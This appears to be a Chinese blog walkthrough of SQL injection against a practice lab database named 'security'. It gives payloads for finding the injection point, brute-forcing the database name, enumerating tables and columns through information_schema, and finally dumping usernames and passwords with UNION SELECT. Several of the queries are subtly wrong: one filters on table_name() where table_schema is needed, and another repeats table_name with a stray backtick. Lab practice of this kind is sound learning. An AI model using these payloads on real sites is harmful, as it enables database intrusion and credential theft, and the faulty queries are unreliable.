SQL注入之获取数据库用户表数据

  • Post author:
  • Post category:其他


获取数据库名

方法一

  1. 首先通过加入and 1=1 语句发现可以将语句传入至后端数据库执行,判断存在注入点

  1. 通过length函数判断数据库名的长度 构造轮子:’and length(database())=’8,发现长度为8

  1. 对数据库名抓包进行逐个字符爆破,构造轮子:’+and+substr(database(),&1$,8)+’$a& ,得到数据库名称为security

方法二

联合查询更方便查出数据库名-1’union select 1,database(),3–+

获取表名

  1. 接下来开始联合查询表名

4.1首先通过order by查询列数为3

4.2 构造轮子判断回显位 -1’ union select 1,2,3–+

开始查询表名

-1’union select 1,(select group_concat(table_name) from information_schema.tables where table_name()=’security’),3–+

获取字段名

  1. 得到表名开始查询字段依旧使用联合查询构造轮子:-1′ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’users’ and table_name=`security’),3–+

获取数据

  1. 开始查询数据

-1′ union select 1,(select group_concat(username,’–‘,password) from security.users),3–+



版权声明:本文为qq_59099375原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。